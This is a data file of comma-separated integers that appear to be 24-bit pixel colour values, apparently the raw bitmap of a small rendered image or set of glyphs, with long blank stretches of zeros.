0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,14408667,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,14950,11983871,16777215,16777215,16767963,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,14408667,14408667,11964474,0,0,0,0,0,0,0,14992,11983835,14408667,14408667,14399120,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,9483958,11974288,6699520,0,0,0,0,0,0,0,58,6721718,14408667,14408667,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14417919,16777215,14389306,0,0,0,0,0,0,0,58,6731483,14417919,16777215,14389306,0,0,0,0,0,0,0,58,9484031,16777215,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,58,3827382,14408667,16777215,16777215,16777215,14408630,9463354,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,3838171,16777215,16777215,14389306,0,0,0,26294,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,9493503,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16767926,9452032,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16758374,9484031,16777179,9452032,0,0,0,0,0,3838171,16777215,16777179,14417919,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777179,9452032,14992,14417919,16777215,14389306,0,0,0,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14992,14417919,16767888,9474267,16777215,11953664,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,6731519,16777215,11953766,11993087,16777142,6684672,0,0,0,0,58,9493503,16777215,16767888,3801088,3838171,16777215,16777179,9452032,0,0,0,0,14950,9483995,16777215,16767926,6699520,0,3827344,9483920,3801088,0,0,3838171,16777215,16777179,14417919,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14992,14417919,16767888,9474267,16777215,11953664,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777179,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,14389306,6731519,16777215,11953664,0,0,0,0,0,3838171,16777215,16777179,9452032,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,0,3838171,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,16777215,14399158,11983871,16777215,14389306,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,3827382,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,14417919,16777215,16777179,14408703,16777215,16777215,14389306,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,14992,14417919,16777215,16777215,16767963,14417919,16777215,16777215,16758374,0,0,0,14992,14417919,16777215,16777215,16767963,14408703,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,3838134,14417919,16777215,16777215,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777179,14408703,16777215,16777215,16777142,6684672,0,0,0,6731519,16777215,16777215,16777179,14408703,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777215,16777179,14408667,16777215,16777215,16767926,6684672,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,102,11983871,16777215,16777215,16777179,14408667,16777215,16777215,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,14992,14417919,16777215,16777215,16767963,14408667,16777215,16777215,16777179,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777142,6684672,0,3838171,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,58,9493503,16777179,14408703,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,14992,14417919,16777215,16777179,14408703,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,11953722,3801088,0,0,0,0,0,0,0,0,102,11983871,16767926,6684672,0,6731483,16777179,11953664,0,0,0,0,58,3827382,14408703,16777215,16777215,16777179,14399078,3815936,0,0,0,0,58,9483995,14408667,14408703,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827382,14408703,16777215,16777215,16777179,14399078,3815936,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777215,16777179,14408703,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,16777215,16777215,14389306,0,0,0,0,0,0,14992,14417883,14408667,14417919,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,6731519,16777215,16777179,14408703,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14408667,16777215,14389306,0,0,0,0,0,0,0,102,11993087,14408667,16777215,14389306,0,0,0,0,0,0,0,0,6721755,11974326,11974326,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,16777179,14408667,16777215,16777215,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,14992,14417919,16767888,3801088,0,0,0,0,6731519,16777179,9452032,0,3827344,11983835,14408630,6684672,0,0,0,0,26294,16777215,16777142,6684672,102,11993087,16777215,11953664,0,0,0,0,0,14992,14417919,14408630,11983871,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,26294,16777215,16767888,3801088,3838171,16777215,16758374,0,0,0,0,0,6731519,16777215,16767888,3801088,26294,16777215,16777142,6684672,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,0,0,3838171,16777215,11953664,0,3827344,11983835,14408630,6699520,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,11953664,58,6721718,14417919,16777215,14389306,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777142,6684672,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777142,6684672,102,11993087,16777215,11953664,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,